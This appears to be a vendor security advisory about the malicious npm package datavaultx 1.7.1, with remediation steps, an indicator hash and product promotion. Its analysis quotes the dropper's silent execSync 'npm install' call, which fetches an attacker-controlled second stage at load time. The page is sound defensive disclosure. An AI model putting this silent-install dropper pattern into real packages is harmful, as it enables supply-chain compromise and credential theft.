Which versions of datavaultx are malicious?

The following npm versions of datavaultx are flagged malicious: 1.7.1. Treat any of these as compromised.

How do I remediate datavaultx if I installed it?

Remove datavaultx from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed datavaultx — how do I know if it already compromised me?

If datavaultx was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is datavaultx part of a known attack campaign?

Yes — datavaultx is associated with the IN-MAL-2026-010270 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find datavaultx across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for datavaultx (version 1.7.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging datavaultx across your stack and pipelines.

Malicious package

datavaultxnpm

Malicious code in datavaultx (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-10460

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall datavaultx

What this malware does

On require of the package's main entry (auth.js -> lib/writer.js), the module attempts require('auth-gen-next'); on failure it invokes execSync('npm install auth-gen-next --no-warnings --no-save --no-progress --loglevel silent') and then requires the freshly installed module from../../auth-gen-next/index.js. The fetched package is not declared in this package's dependencies, so its contents are entirely attacker-controlled and can change at any time without a datavaultx release. lib/writer.js additionally constructs a cover-story error string ('Error: This environment is not supported...') via a long chain of String.fromCharCode calls, shown only if the silent install fails. The suppressed logging, undeclared dependency, and character-code obfuscation of the failure message together indicate a two-stage dropper design in which the visible package is a thin shim that pulls its real payload from a separately-published module at load time.

Malicious versions

1 flagged

1.7.1

Indicators of compromise (SHA-256)

bbf831f155eb2a6d04427e5cc3cd239055844e80c3b02576a5d546e4e7ab42b6

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for datavaultx (version 1.7.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging datavaultx across your stack and pipelines.
If you installed it — respond
Remove datavaultx from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If datavaultx was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks datavaultx before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. datavaultx on npm has been identified as a malicious package (version 1.7.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-010270

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks datavaultx-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring